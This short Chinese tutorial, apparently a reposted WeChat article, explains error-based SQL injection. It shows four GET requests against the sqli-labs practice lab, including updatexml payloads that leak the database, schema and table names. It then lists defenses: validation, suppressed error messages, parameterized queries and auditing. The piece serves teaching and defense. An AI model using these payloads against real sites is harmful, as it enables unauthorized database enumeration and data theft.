报错注入是一种利用数据库在执行恶意 SQL 语句时生成错误信息的方法。攻击者试图构造恶意 SQL 查询,以便服务器返回包含有关数据库结构或数据的错误信息。攻击者可以利用这些错误信息来进一步攻击目标系统。GET /sqli/Less-2/?id=1' HTTP/1.1
GET /sqli/Less-2/?id=-1+and+(updatexml(1,concat(0x7e,database(),0x7e),0))--+ HTTP/1.1
GET /sqli/Less-2/?id=-1+and+(updatexml(1,concat(0x7e,(select+schema_name+from+information_schema.schemata+limit+4,1),0x7e),1))--+ HTTP/1.1
GET /sqli/Less-2/?id=-1+and+(updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema='security'+limit+3,1),0x7e),1))--+ HTTP/1.1
输入验证和过滤:对于所有用户输入,都要进行严格的验证和过滤。确保只允许预期的数据类型和格式进入查询。最小化错误信息:在生产环境中,不要向用户披露详细的错误信息。错误信息应该被记录并报告给管理员,而不是直接显示给用户。使用参数化查询:使用参数化的 SQL 查询可以有效防止报错注入攻击。大多数编程语言和框架都支持参数化查询,这样数据库会自动处理输入的转义,不会将其作为代码执行。审计和监控:定期审计数据库的安全性,监控数据库活动以及异常情况。
欢迎关注公众号:小酒馆文案
获取包邮送书抽奖码
文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247511050&idx=2&sn=7bb902200c85f913121eab62d668703a&chksm=ebb54309dcc2ca1fef404028e3a7f9d32b7ae4ad9e86ef30740a68f50498c24dd8b795a1cdfc&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh